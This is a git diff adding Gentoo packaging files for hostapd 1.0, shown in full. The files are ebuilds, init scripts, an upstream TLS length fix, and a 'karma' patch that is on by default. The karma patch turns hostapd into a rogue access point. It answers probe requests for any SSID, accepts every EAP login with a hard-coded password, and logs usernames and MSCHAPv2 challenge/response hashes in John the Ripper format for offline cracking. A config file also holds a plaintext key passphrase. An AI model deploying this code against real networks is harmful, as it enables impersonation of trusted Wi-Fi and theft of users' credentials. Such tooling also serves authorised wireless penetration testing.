+--- hostapd-1.0.orig//hostapd/Makefile 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/hostapd/Makefile 2012-07-17 18:36:53.318959033 +0800
+@@ -3,7 +3,7 @@
+ endif
+
+ ifndef CFLAGS
+-CFLAGS = -MMD -O2 -Wall -g
++CFLAGS = -MMD -O2 -Wall -DDEBUG -g -pg
+ endif
+
+ CFLAGS += -I../src
+@@ -95,6 +95,7 @@
+
+ OBJS += ../src/eapol_auth/eapol_auth_sm.o
+
++OBJS += ../src/karma/karma.o
+
+ ifndef CONFIG_NO_DUMP_STATE
+ # define HOSTAPD_DUMP_STATE to include SIGUSR1 handler for dumping state to
+
+diff -urN hostapd-1.0.orig//hostapd/hostapd.conf hostapd-1.0/hostapd/hostapd.conf
+--- hostapd-1.0.orig//hostapd/hostapd.conf 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/hostapd/hostapd.conf 2012-07-17 18:36:53.319959023 +0800
+@@ -3,7 +3,7 @@
+
+ # AP netdevice name (without 'ap' postfix, i.e., wlan0 uses wlan0ap for
+ # management frames); ath0 for madwifi
+-interface=wlan0
++interface=wlan1
+
+ # In case of madwifi, atheros, and nl80211 driver interfaces, an additional
+ # configuration parameter, bridge, may be used to notify hostapd if the
+@@ -23,6 +23,7 @@
+ # Use driver=none if building hostapd as a standalone RADIUS server that does
+ # not control any wireless/wired driver.
+ # driver=hostap
++driver=nl80211
+
+ # hostapd event logger configuration
+ #
+@@ -88,7 +89,7 @@
+ # Country code (ISO/IEC 3166-1). Used to set regulatory domain.
+ # Set as needed to indicate country in which device is operating.
+ # This can limit available channels and transmit power.
+-#country_code=US
++country_code=US
+
+ # Enable IEEE 802.11d. This advertises the country_code and the set of allowed
+ # channels and transmit power levels based on the regulatory limits. The
+@@ -413,7 +414,7 @@
+ ##### IEEE 802.1X-2004 related configuration ##################################
+
+ # Require IEEE 802.1X authorization
+-#ieee8021x=1
++ieee8021x=1
+
+ # IEEE 802.1X/EAPOL version
+ # hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL
+@@ -421,7 +422,7 @@
+ # the new version number correctly (they seem to drop the frames completely).
+ # In order to make hostapd interoperate with these clients, the version number
+ # can be set to the older version (1) with this configuration value.
+-#eapol_version=2
++eapol_version=1
+
+ # Optional displayable message sent with EAP Request-Identity. The first \0
+ # in this string will be converted to ASCII-0 (nul). This can be used to
+@@ -463,16 +464,18 @@
+ # Use integrated EAP server instead of external RADIUS authentication
+ # server. This is also needed if hostapd is configured to act as a RADIUS
+ # authentication server.
+-eap_server=0
++eap_server=1
+
+ # Path for EAP server user database
+ #eap_user_file=/etc/hostapd.eap_user
+
+ # CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #ca_cert=/etc/hostapd.ca.pem
++ca_cert=/etc/hostapd/sf_bundle.pem
+
+ # Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
+ #server_cert=/etc/hostapd.server.pem
++server_cert=/etc/hostapd/INTRANET.pem
+
+ # Private key matching with the server certificate for EAP-TLS/PEAP/TTLS
+ # This may point to the same file as server_cert if both certificate and key
+@@ -480,9 +483,11 @@
+ # used by commenting out server_cert and specifying the PFX file as the
+ # private_key.
+ #private_key=/etc/hostapd.server.prv
++private_key=/etc/hostapd/INTRANET.pem
+
+ # Passphrase for private key
+ #private_key_passwd=secret passphrase
++private_key_passwd=Cricket8
+
+ # Enable CRL verification.
+ # Note: hostapd does not yet support CRL downloading based on CDP. Thus, a
+@@ -680,6 +685,7 @@
+ # bit0 = WPA
+ # bit1 = IEEE 802.11i/RSN (WPA2) (dot11RSNAEnabled)
+ #wpa=1
++wpa=3
+
+ # WPA pre-shared keys for WPA-PSK. This can be either entered as a 256-bit
+ # secret in hex format (64 hex digits), wpa_psk, or as an ASCII passphrase
+@@ -701,6 +707,7 @@
+ # added to enable SHA256-based stronger algorithms.
+ # (dot11RSNAConfigAuthenticationSuitesTable)
+ #wpa_key_mgmt=WPA-PSK WPA-EAP
++wpa_key_mgmt=WPA-EAP
+
+ # Set of accepted cipher suites (encryption algorithms) for pairwise keys
+ # (unicast packets). This is a space separated list of algorithms:
+diff -urN hostapd-1.0.orig//hostapd/main.c hostapd-1.0/hostapd/main.c
+--- hostapd-1.0.orig//hostapd/main.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/hostapd/main.c 2012-07-17 18:37:57.724959001 +0800
+@@ -39,6 +39,10 @@
+
+ extern struct wpa_driver_ops *wpa_drivers[];
+
++/* Karma Mode */
++#include "karma/karma.h"
++int karma_beacon_respond = 0;
++int karma_eap_auth = 0;
+
+ struct hapd_global {
+ void **drv_priv;
+@@ -521,7 +525,7 @@
+ show_version();
+ fprintf(stderr,
+ "\n"
+- "usage: hostapd [-hdBKtv] [-P <PID file>] [-e <entropy file>] "
++ "usage: hostapd [-hdBKtvRA] [-P <PID file>] [-e <entropy file>] "
+ "<configuration file(s)>\n"
+ "\n"
+ "options:\n"
+@@ -535,7 +539,9 @@
+ " -f log output to debug file instead of stdout\n"
+ #endif /* CONFIG_DEBUG_FILE */
+ " -t include timestamps in some debug messages\n"
+- " -v show hostapd version\n");
++ " -v show hostapd version\n"
++ " -R [karma] respond to all probes using requested SSID\n"
++ " -A [karma] enable authentication attempt logging\n");
+
+ exit(1);
+ }
+@@ -564,7 +570,7 @@
+ return -1;
+
+ for (;;) {
+- c = getopt(argc, argv, "Bde:f:hKP:tv");
++ c = getopt(argc, argv, "Bde:f:hKP:tvRA");
+ if (c < 0)
+ break;
+ switch (c) {
+@@ -595,6 +601,12 @@
+ case 't':
+ wpa_debug_timestamp++;
+ break;
++ case 'R':
++ karma_beacon_respond++;
++ break;
++ case 'A':
++ karma_eap_auth++;
++ break;
+ case 'v':
+ show_version();
+ exit(1);
+diff -urN hostapd-1.0.orig//src/ap/beacon.c hostapd-1.0/src/ap/beacon.c
+--- hostapd-1.0.orig//src/ap/beacon.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/beacon.c 2012-07-17 18:36:53.322959001 +0800
+@@ -14,6 +14,11 @@
+ * See README and COPYING for more details.
+ */
+
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -283,7 +288,24 @@
+ if (sta)
+ sta->ssid_probe = &hapd->conf->ssid;
+ }
+-
++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */
++ else if (karma_beacon_respond) {
++ char ssid_txt[33];
++ char *message = NULL;
++
++ ieee802_11_print_ssid(ssid_txt, elems.ssid, elems.ssid_len);
++
++ if (asprintf(&message, "Probe request from " MACSTR " for SSID '%s'", MAC2STR(mgmt->sa), ssid_txt) < 0)
++ wpa_printf(MSG_ERROR, "Error allocating memory for Karma message\n");
++
++ karma_logger(0, message);
++ free(message);
++
++ ssid = (char *)elems.ssid;
++ ssid_len = elems.ssid_len;
++ //if (sta)
++ // sta->ssid_probe = &elems.ssid;
++ }
+ if (!ssid) {
+ if (!(mgmt->da[0] & 0x01)) {
+ char ssid_txt[33];
+diff -urN hostapd-1.0.orig//src/ap/hostapd.c hostapd-1.0/src/ap/hostapd.c
+--- hostapd-1.0.orig//src/ap/hostapd.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/hostapd.c 2012-07-17 18:36:53.323958995 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #include "utils/common.h"
+diff -urN hostapd-1.0.orig//src/ap/ieee802_11.c hostapd-1.0/src/ap/ieee802_11.c
+--- hostapd-1.0.orig//src/ap/ieee802_11.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/ap/ieee802_11.c 2012-07-17 18:36:53.324958995 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "utils/includes.h"
+
+ #ifndef CONFIG_NATIVE_WINDOWS
+@@ -520,8 +522,9 @@
+ if (ssid_ie == NULL)
+ return WLAN_STATUS_UNSPECIFIED_FAILURE;
+
+- if (ssid_ie_len != hapd->conf->ssid.ssid_len ||
+- os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) {
++ /* Karma Promiscuous Beacon Response Hack - JoMo-Kun <jmk@foofus.net> */
++ if ((!karma_beacon_respond) && (ssid_ie_len != hapd->conf->ssid.ssid_len ||
++ os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0)) {
+ char ssid_txt[33];
+ ieee802_11_print_ssid(ssid_txt, ssid_ie, ssid_ie_len);
+ hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211,
+diff -urN hostapd-1.0.orig//src/eap_server/eap_server.c hostapd-1.0/src/eap_server/eap_server.c
+--- hostapd-1.0.orig//src/eap_server/eap_server.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/eap_server/eap_server.c 2012-07-17 18:36:53.325959001 +0800
+@@ -18,6 +18,11 @@
+ * backend_auth configuration variable to TRUE.
+ */
+
++#define _GNU_SOURCE
++#include <stdio.h>
++
++#include "karma/karma.h"
++
+ #include "includes.h"
+
+ #include "common.h"
+@@ -99,24 +104,51 @@
+ int eap_user_get(struct eap_sm *sm, const u8 *identity, size_t identity_len,
+ int phase2)
+ {
+- struct eap_user *user;
++ struct eap_user *user;
++ char *username = NULL;
++ char *message = NULL;
++
++ eap_user_free(sm->user);
++ sm->user = NULL;
+
+- if (sm == NULL || sm->eapol_cb == NULL ||
++ user = os_zalloc(sizeof(*user));
++ if (user == NULL)
++ return -1;
++
++ /* Karma Mode: Accept all requests, regardless of username - JoMo-Kun <jmk@foofus.net> */
++ if (karma_eap_auth)
++ {
++ user->methods[0].vendor = sm->respVendor;
++ user->password = os_zalloc(9);
++ strncpy((char *)user->password, "Cricket8", 8); /* Magic password allows successful authentication */
++ user->password_len = 8;
++
++ if (phase2)
++ user->methods[0].method = EAP_TYPE_MSCHAPV2;
++ else // TODO: what happens if we propose LEAP?
++ user->methods[0].method = EAP_TYPE_PEAP;
++
++ username = os_zalloc(sm->identity_len + 1);
++ strncpy(username, (char *)sm->identity, (size_t)sm->identity_len);
++
++ if (asprintf(&message, "Authentication Request - Username: %s Vendor: %d Method: %d", username, sm->respVendor, sm->respVendorMethod) < 0)
++ printf("Error allocating memory for request message.\n");
++
++ karma_logger(0, message);
++ free(message);
++ }
++ else
++ {
++ if (sm == NULL || sm->eapol_cb == NULL ||
+ sm->eapol_cb->get_eap_user == NULL)
+- return -1;
++ return -1;
+
+- eap_user_free(sm->user);
+- sm->user = NULL;
+-
+- user = os_zalloc(sizeof(*user));
+- if (user == NULL)
+- return -1;
+-
+- if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
+- identity_len, phase2, user) != 0) {
+- eap_user_free(user);
+- return -1;
+- }
++ if (sm->eapol_cb->get_eap_user(sm->eapol_ctx, identity,
++ identity_len, phase2, user) != 0) {
++ eap_user_free(user);
++ return -1;
++ }
++ }
+
+ sm->user = user;
+ sm->user_eap_method_index = 0;
+diff -urN hostapd-1.0.orig//src/eap_server/eap_server_mschapv2.c hostapd-1.0/src/eap_server/eap_server_mschapv2.c
+--- hostapd-1.0.orig//src/eap_server/eap_server_mschapv2.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/eap_server/eap_server_mschapv2.c 2012-07-17 18:36:53.331959001 +0800
+@@ -12,6 +12,8 @@
+ * See README and COPYING for more details.
+ */
+
++#include "karma/karma.h"
++
+ #include "includes.h"
+
+ #include "common.h"
+@@ -290,13 +292,15 @@
+ struct wpabuf *respData)
+ {
+ struct eap_mschapv2_hdr *resp;
+- const u8 *pos, *end, *peer_challenge, *nt_response, *name;
++ const u8 *pos, *end, *auth_challenge, *peer_challenge, *nt_response, *name;
+ u8 flags;
+ size_t len, name_len, i;
+ u8 expected[24];
+ const u8 *username, *user;
+ size_t username_len, user_len;
+ int res;
++ char *auth_creds = NULL;
++ int auth_creds_len = 0;
+
+ pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_MSCHAPV2, respData,
+ &len);
+@@ -336,6 +340,38 @@
+ wpa_printf(MSG_MSGDUMP, "EAP-MSCHAPV2: Flags 0x%x", flags);
+ wpa_hexdump_ascii(MSG_MSGDUMP, "EAP-MSCHAPV2: Name", name, name_len);
+
++ /* Karma Mode: Log MSCHAPv2 exchange in John format - JoMo-Kun <jmk@foofus.net> */
++ /* user::domain (unused):authenticator challenge:mschapv2 response:peer challenge */
++ if (karma_eap_auth)
++ {
++ auth_creds_len = sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 16*2;
++ auth_creds = os_malloc(auth_creds_len + 1);
++ memset(auth_creds, 0, auth_creds_len + 1);
++
++ strncpy(auth_creds, (char *)sm->identity, sm->identity_len);
++ sprintf(auth_creds + sm->identity_len, ":::");
++
++ /* Authenticator Challenge */
++ auth_challenge = data->auth_challenge;
++ for (i=0; i<16; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 2*i, "%2.2X", 0xFF & (int)auth_challenge[i]);
++
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2, ":");
++
++ /* MSCHAPv2 Response */
++ for (i=0; i<24; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 2*i, "%2.2X", 0xFF & (int)nt_response[i]);
++
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2, ":");
++
++ /* Peer Challenge */
++ for (i=0; i<16; i++)
++ sprintf(auth_creds + sm->identity_len + 3 + 16*2 + 1 + 24*2 + 1 + 2*i, "%2.2X", 0xFF & (int)peer_challenge[i]);
++
++ karma_logger(1, auth_creds);
++ free(auth_creds);
++ }
++
+ /* MSCHAPv2 does not include optional domain name in the
+ * challenge-response calculation, so remove domain prefix
+ * (if present). */
+diff -urN hostapd-1.0.orig//src/karma/karma.c hostapd-1.0/src/karma/karma.c
+--- hostapd-1.0.orig//src/karma/karma.c 1970-01-01 07:30:00.000000000 +0730
++++ hostapd-1.0/src/karma/karma.c 2012-07-17 18:36:53.332959000 +0800
+@@ -0,0 +1,43 @@
++#define _GNU_SOURCE
++#include <stdio.h>
++#include <time.h>
++
++#include "common.h"
++#include "includes.h"
++#include "trace.h"
++
++#include "karma/karma.h"
++
++/* Karma Mode: Log data related to MSCHAPv2 challenge/response authentication attempts */
++extern void karma_logger(int type, char *message)
++{
++ FILE *logfd;
++ time_t cur_time;
++ struct tm *tm_ptr;
++ char time_buf[256];
++ /* General: probe requests, username requests */
++ logfd = fopen("./hostapd-karma.txt", "a");
++ if (logfd == NULL) {
++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.txt\n");
++ logfd = stderr;
++ }
++
++ time(&cur_time);
++ tm_ptr = localtime(&cur_time);
++ strftime(time_buf, 256, "%Y-%m-%d %H:%M:%S", tm_ptr);
++ fprintf(logfd, "%s: %s\n", time_buf, message);
++ fprintf(stderr, "[karma] %s: %s\n", time_buf, message);
++ fclose(logfd);
++
++ /* MSCHAPv2 Challenge/Response */
++ if (type == 1)
++ {
++ logfd = fopen("./hostapd-karma.lc", "a");
++ if (logfd == NULL) {
++ fprintf(stderr, "[karma] Failed to open log file: ./hostapd-karma.lc\n");
++ logfd = stderr;
++ }
++ fprintf(logfd, "%s\n", message);
++ fclose(logfd);
++ }
++}
+diff -urN hostapd-1.0.orig//src/karma/karma.h hostapd-1.0/src/karma/karma.h
+--- hostapd-1.0.orig//src/karma/karma.h 1970-01-01 07:30:00.000000000 +0730
++++ hostapd-1.0/src/karma/karma.h 2012-07-17 18:36:53.332959000 +0800
+@@ -0,0 +1,3 @@
++extern int karma_beacon_respond;
++extern int karma_eap_auth;
++extern void karma_logger(int, char*);
+diff -urN hostapd-1.0.orig//src/utils/wpa_debug.c hostapd-1.0/src/utils/wpa_debug.c
+--- hostapd-1.0.orig//src/utils/wpa_debug.c 2012-05-10 05:56:09.000000000 +0800
++++ hostapd-1.0/src/utils/wpa_debug.c 2012-07-17 18:36:53.333959000 +0800
+@@ -22,6 +22,8 @@
+ static int wpa_debug_syslog = 0;
+ #endif /* CONFIG_DEBUG_SYSLOG */
+
++/* Karma Mode */
++#include "karma/karma.h"
+
+ int wpa_debug_level = MSG_INFO;
+ int wpa_debug_show_keys = 0;
diff --git a/net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch b/net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch
new file mode 100644
index 00000000..abf15a6e
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-libnl_path_fix.patch
@@ -0,0 +1,24 @@
+diff -aurp a/src/drivers/drivers.mak b/src/drivers/drivers.mak
+--- a/src/drivers/drivers.mak 2012-10-03 19:42:16.387634128 +0000
++++ b/src/drivers/drivers.mak 2012-10-03 19:43:16.246693744 +0000
+@@ -48,7 +48,7 @@ NEED_RFKILL=y
+ ifdef CONFIG_LIBNL32
+ DRV_LIBS += -lnl-3
+ DRV_LIBS += -lnl-genl-3
+- DRV_CFLAGS += -DCONFIG_LIBNL20
++ DRV_CFLAGS += -DCONFIG_LIBNL20 -I/usr/include/libnl3
+ else
+ ifdef CONFIG_LIBNL_TINY
+ DRV_LIBS += -lnl-tiny
+diff -aurp a/src/drivers/drivers.mk b/src/drivers/drivers.mk
+--- a/src/drivers/drivers.mk 2012-10-03 19:42:16.385634126 +0000
++++ b/src/drivers/drivers.mk 2012-10-03 19:43:23.333700780 +0000
+@@ -48,7 +48,7 @@ NEED_RFKILL=y
+ ifdef CONFIG_LIBNL32
+ DRV_LIBS += -lnl-3
+ DRV_LIBS += -lnl-genl-3
+- DRV_CFLAGS += -DCONFIG_LIBNL20
++ DRV_CFLAGS += -DCONFIG_LIBNL20 -I/usr/include/libnl3
+ else
+ ifdef CONFIG_LIBNL_TINY
+ DRV_LIBS += -lnl-tiny
diff --git a/net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch b/net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch
new file mode 100644
index 00000000..bda92cf4
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-1.0-tls_length_fix.patch
@@ -0,0 +1,48 @@
+From 586c446e0ff42ae00315b014924ec669023bd8de Mon Sep 17 00:00:00 2001
+From: Jouni Malinen <j@w1.fi>
+Date: Sun, 7 Oct 2012 20:06:29 +0300
+Subject: [PATCH] EAP-TLS server: Fix TLS Message Length validation
+
+EAP-TLS/PEAP/TTLS/FAST server implementation did not validate TLS
+Message Length value properly and could end up trying to store more
+information into the message buffer than the allocated size if the first
+fragment is longer than the indicated size. This could result in hostapd
+process terminating in wpabuf length validation. Fix this by rejecting
+messages that have invalid TLS Message Length value.
+
+This would affect cases that use the internal EAP authentication server
+in hostapd either directly with IEEE 802.1X or when using hostapd as a
+RADIUS authentication server and when receiving an incorrectly
+constructed EAP-TLS message. Cases where hostapd uses an external
+authentication are not affected.
+
+Thanks to Timo Warns for finding and reporting this issue.
+
+Signed-hostap: Jouni Malinen <j@w1.fi>
+intended-for: hostap-1
+---
+ src/eap_server/eap_server_tls_common.c | 8 ++++++++
+ 1 files changed, 8 insertions(+), 0 deletions(-)
+
+diff --git a/src/eap_server/eap_server_tls_common.c b/src/eap_server/eap_server_tls_common.c
+index 31be2ec..46f282b 100644
+--- a/src/eap_server/eap_server_tls_common.c
++++ b/src/eap_server/eap_server_tls_common.c
+@@ -228,6 +228,14 @@ static int eap_server_tls_process_fragment(struct eap_ssl_data *data,
+ return -1;
+ }
+
++ if (len > message_length) {
++ wpa_printf(MSG_INFO, "SSL: Too much data (%d bytes) in "
++ "first fragment of frame (TLS Message "
++ "Length %d bytes)",
++ (int) len, (int) message_length);
++ return -1;
++ }
++
+ data->tls_in = wpabuf_alloc(message_length);
+ if (data->tls_in == NULL) {
+ wpa_printf(MSG_DEBUG, "SSL: No memory for message");
+--
+1.7.4-rc1
+
diff --git a/net-wireless/hostapd/files/hostapd-conf.d b/net-wireless/hostapd/files/hostapd-conf.d
new file mode 100644
index 00000000..7d05735e
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-conf.d
@@ -0,0 +1,9 @@
+# Space separated List of interfaces which needs to be started before
+# hostapd
+INTERFACES="wlan0"
+
+# Space separated list of configuration files
+CONFIGS="/etc/hostapd/hostapd.conf"
+
+# Extra options to pass to hostapd, see hostapd(8)
+OPTIONS=""
diff --git a/net-wireless/hostapd/files/hostapd-init.d b/net-wireless/hostapd/files/hostapd-init.d
new file mode 100644
index 00000000..bc5b8d6a
--- /dev/null
+++ b/net-wireless/hostapd/files/hostapd-init.d
@@ -0,0 +1,50 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/files/hostapd-init.d,v 1.3 2011/09/25 14:03:46 gurligebis Exp $
+
+extra_started_commands="reload"
+
+depend() {
+ local myneeds=
+ for iface in ${INTERFACES}; do
+ myneeds="${myneeds} net.${iface}"
+ done
+
+ [ -n "${myneeds}" ] && need ${myneeds}
+ use logger
+}
+
+checkconfig() {
+ local file
+
+ for file in ${CONFIGS}; do
+ if [ ! -r "${file}" ]; then
+ eerror "hostapd configuration file (${CONFIG}) not found"
+ return 1
+ fi
+ done
+}
+
+start() {
+ checkconfig || return 1
+
+ ebegin "Starting ${SVCNAME}"
+ start-stop-daemon --start --exec /usr/sbin/hostapd \
+ -- -B ${OPTIONS} ${CONFIGS}
+ eend $?
+}
+
+stop() {
+ ebegin "Stopping ${SVCNAME}"
+ start-stop-daemon --stop --exec /usr/sbin/hostapd
+ eend $?
+}
+
+reload() {
+ checkconfig || return 1
+
+ ebegin "Reloading ${SVCNAME} configuration"
+ kill -HUP $(pidof /usr/sbin/hostapd) > /dev/null 2>&1
+ eend $?
+}
diff --git a/net-wireless/hostapd/hostapd-1.0-r4.ebuild b/net-wireless/hostapd/hostapd-1.0-r4.ebuild
new file mode 100644
index 00000000..343129db
--- /dev/null
+++ b/net-wireless/hostapd/hostapd-1.0-r4.ebuild
@@ -0,0 +1,207 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/hostapd-1.0-r4.ebuild,v 1.4 2012/10/12 00:52:20 blueness Exp $
+
+EAPI="4"
+
+inherit toolchain-funcs eutils
+
+DESCRIPTION="IEEE 802.11 wireless LAN Host AP daemon"
+HOMEPAGE="http://hostap.epitest.fi"
+SRC_URI="http://hostap.epitest.fi/releases/${P}.tar.gz"
+
+LICENSE="|| ( GPL-2 BSD )"
+SLOT="0"
+KEYWORDS="amd64 ~mips ppc x86"
+IUSE="cui debug ipv6 +karma logwatch madwifi +ssl +wps +crda"
+
+DEPEND="ssl? ( dev-libs/openssl )
+ kernel_linux? (
+ dev-libs/libnl:3
+ crda? ( net-wireless/crda )
+ )
+ madwifi? ( ||
+ ( >net-wireless/madwifi-ng-tools-0.9.3
+ net-wireless/madwifi-old ) )"
+RDEPEND="${DEPEND}"
+
+S="${S}/${PN}"
+
+src_prepare() {
+ cd ..
+ epatch "${FILESDIR}/${P}-libnl_path_fix.patch"
+ epatch "${FILESDIR}/${P}-tls_length_fix.patch"
+ use karma && epatch "${FILESDIR}/${P}-karma.patch"
+ use cui && epatch "${FILESDIR}/cui-20120417.patch"
+
+ sed -i -e "s:/etc/hostapd:/etc/hostapd/hostapd:g" \
+ "${S}/hostapd.conf" || die
+}
+
+src_configure() {
+ local CONFIG="${S}/.config"
+
+ # toolchain setup
+ echo "CC = $(tc-getCC)" > ${CONFIG}
+
+ # EAP authentication methods
+ echo "CONFIG_EAP=y" >> ${CONFIG}
+ echo "CONFIG_EAP_MD5=y" >> ${CONFIG}
+
+ if use ssl; then
+ # SSL authentication methods
+ echo "CONFIG_EAP_TLS=y" >> ${CONFIG}
+ echo "CONFIG_EAP_TTLS=y" >> ${CONFIG}
+ echo "CONFIG_EAP_MSCHAPV2=y" >> ${CONFIG}
+ echo "CONFIG_EAP_PEAP=y" >> ${CONFIG}
+ fi
+
+ if use wps; then
+ # Enable Wi-Fi Protected Setup
+ echo "CONFIG_WPS=y" >> ${CONFIG}
+ echo "CONFIG_WPS2=y" >> ${CONFIG}
+ echo "CONFIG_WPS_UPNP=y" >> ${CONFIG}
+ einfo "Enabling Wi-Fi Protected Setup support"
+ fi
+
+ echo "CONFIG_EAP_GTC=y" >> ${CONFIG}
+ echo "CONFIG_EAP_SIM=y" >> ${CONFIG}
+ echo "CONFIG_EAP_AKA=y" >> ${CONFIG}
+ echo "CONFIG_EAP_PAX=y" >> ${CONFIG}
+ echo "CONFIG_EAP_PSK=y" >> ${CONFIG}
+ echo "CONFIG_EAP_SAKE=y" >> ${CONFIG}
+ echo "CONFIG_EAP_GPSK=y" >> ${CONFIG}
+ echo "CONFIG_EAP_GPSK_SHA256=y" >> ${CONFIG}
+
+ einfo "Enabling drivers: "
+
+ # drivers
+ echo "CONFIG_DRIVER_HOSTAP=y" >> ${CONFIG}
+ einfo " HostAP driver enabled"
+ echo "CONFIG_DRIVER_WIRED=y" >> ${CONFIG}
+ einfo " Wired driver enabled"
+ echo "CONFIG_DRIVER_PRISM54=y" >> ${CONFIG}
+ einfo " Prism54 driver enabled"
+ echo "CONFIG_DRIVER_NONE=y" >> ${CONFIG}
+ einfo " None driver enabled"
+
+ if use madwifi; then
+ # Add include path for madwifi-driver headers
+ einfo " Madwifi driver enabled"
+ echo "CFLAGS += -I/usr/include/madwifi" >> ${CONFIG}
+ echo "CONFIG_DRIVER_MADWIFI=y" >> ${CONFIG}
+ else
+ einfo " Madwifi driver disabled"
+ fi
+
+ einfo " nl80211 driver enabled"
+ echo "CONFIG_DRIVER_NL80211=y" >> ${CONFIG}
+ echo "CFLAGS += -I/usr/include/netlink" >> ${CONFIG}
+ echo "LIBS += -L/usr/lib" >> ${CONFIG}
+
+ # misc
+ echo "CONFIG_PKCS12=y" >> ${CONFIG}
+ echo "CONFIG_RADIUS_SERVER=y" >> ${CONFIG}
+ echo "CONFIG_IAPP=y" >> ${CONFIG}
+ echo "CONFIG_IEEE80211R=y" >> ${CONFIG}
+ echo "CONFIG_IEEE80211W=y" >> ${CONFIG}
+ echo "CONFIG_IEEE80211N=y" >> ${CONFIG}
+ echo "CONFIG_PEERKEY=y" >> ${CONFIG}
+ echo "CONFIG_RSN_PREAUTH=y" >> ${CONFIG}
+ echo "CONFIG_INTERWORKING=y" >> ${CONFIG}
+
+ if use ipv6; then
+ # IPv6 support
+ echo "CONFIG_IPV6=y" >> ${CONFIG}
+ fi
+
+ if ! use debug; then
+ echo "CONFIG_NO_STDOUT_DEBUG=y" >> ${CONFIG}
+ fi
+
+ # If we are using libnl 2.0 and above, enable support for it
+ # Removed for now, since the 3.2 version is broken, and we don't
+ # support it.
+ if has_version ">=dev-libs/libnl-3.2"; then
+ echo "CONFIG_LIBNL32=y" >> .config
+ fi
+
+ # TODO: Add support for BSD drivers
+
+ default_src_configure
+}
+
+src_compile() {
+ emake V=1
+
+ if use ssl; then
+ emake V=1 nt_password_hash
+ emake V=1 hlr_auc_gw
+ fi
+}
+
+src_install() {
+ insinto /etc/${PN}
+ doins ${PN}.{conf,accept,deny,eap_user,radius_clients,sim_db,wpa_psk}
+
+ fperms -R 600 /etc/${PN}
+
+ dosbin ${PN}
+ dobin ${PN}_cli
+
+ use ssl && dobin nt_password_hash hlr_auc_gw
+
+ newinitd "${FILESDIR}"/${PN}-init.d ${PN}
+ newconfd "${FILESDIR}"/${PN}-conf.d ${PN}
+
+ doman ${PN}{.8,_cli.1}
+
+ dodoc ChangeLog README
+ use wps && dodoc README-WPS
+
+ docinto examples
+ dodoc wired.conf
+
+ if use logwatch; then
+ insinto /etc/log.d/conf/services/
+ doins logwatch/${PN}.conf
+
+ exeinto /etc/log.d/scripts/services/
+ doexe logwatch/${PN}
+ fi
+}
+
+pkg_postinst() {
+ einfo
+ einfo "In order to use ${PN} you need to set up your wireless card"
+ einfo "for master mode in /etc/conf.d/net and then start"
+ einfo "/etc/init.d/${PN}."
+ einfo
+ einfo "Example configuration:"
+ einfo
+ einfo "config_wlan0=( \"192.168.1.1/24\" )"
+ einfo "channel_wlan0=\"6\""
+ einfo "essid_wlan0=\"test\""
+ einfo "mode_wlan0=\"master\""
+ einfo
+ if use madwifi; then
+ einfo "This package compiles against the headers installed by"
+ einfo "madwifi-old, madwifi-ng or madwifi-ng-tools."
+ einfo "You should remerge ${PN} after upgrading these packages."
+ einfo
+ einfo "Since you are using the madwifi-ng driver, you should disable or"
+ einfo "comment out wme_enabled from ${PN}.conf, since it will"
+ einfo "cause problems otherwise (see bug #260377"
+ fi
+ #if [ -e "${KV_DIR}"/net/mac80211 ]; then
+ # einfo "This package now compiles against the headers installed by"
+ # einfo "the kernel source for the mac80211 driver. You should "
+ # einfo "re-emerge ${PN} after upgrading your kernel source."
+ #fi
+
+ if use wps; then
+ einfo "You have enabled Wi-Fi Protected Setup support, please"
+ einfo "read the README-WPS file in /usr/share/doc/${P}"
+ einfo "for info on how to use WPS"
+ fi
+}
diff --git a/net-wireless/hostapd/hostapd-1.0-r5.ebuild b/net-wireless/hostapd/hostapd-1.0-r5.ebuild
new file mode 100644
index 00000000..1747ddc9
--- /dev/null
+++ b/net-wireless/hostapd/hostapd-1.0-r5.ebuild
@@ -0,0 +1,207 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
